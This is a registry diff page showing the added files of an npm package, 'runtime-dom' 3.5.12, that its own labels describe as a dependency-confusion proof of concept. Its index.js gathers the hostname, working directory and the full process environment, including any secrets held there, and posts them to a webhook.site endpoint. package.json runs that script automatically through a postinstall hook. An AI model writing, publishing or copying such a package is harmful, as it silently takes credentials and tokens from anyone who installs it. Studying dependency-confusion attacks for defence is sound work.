runtime-dom 3.5.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +31 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,31 @@
1
+ ```
2
+ const https = require('https');
3
+ const os = require('os');
4
+
5
+ const data = JSON.stringify({
6
+ hostname: os.hostname(),
7
+ platform: process.platform,
8
+ cwd: process.cwd(),
9
+ env: process.env
10
+ });
11
+
12
+ const options = {
13
+ hostname: 'webhook.site',
14
+ path: '/12c4edfe-0b89-4175-8ca9-5d4debca244b',
15
+ method: 'POST',
16
+ headers: {
17
+ 'Content-Type': 'application/json',
18
+ 'Content-Length': data.length
19
+ }
20
+ };
21
+
22
+ const req = https.request(options, (res) => {
23
+ console.log(`Webhook sent. Status: ${res.statusCode}`);
24
+ });
25
+
26
+ req.on('error', (error) => {
27
+ console.error(`Error: ${error}`);
28
+ });
29
+
30
+ req.write(data);
31
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "runtime-dom",
3
+ "version": "3.5.12",
4
+ "description": "PoC ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "keywords": ["dependency-confusion", "security-research"],
10
+ "author": "NA_RONY",
11
+ "license": "MIT"
12
+ }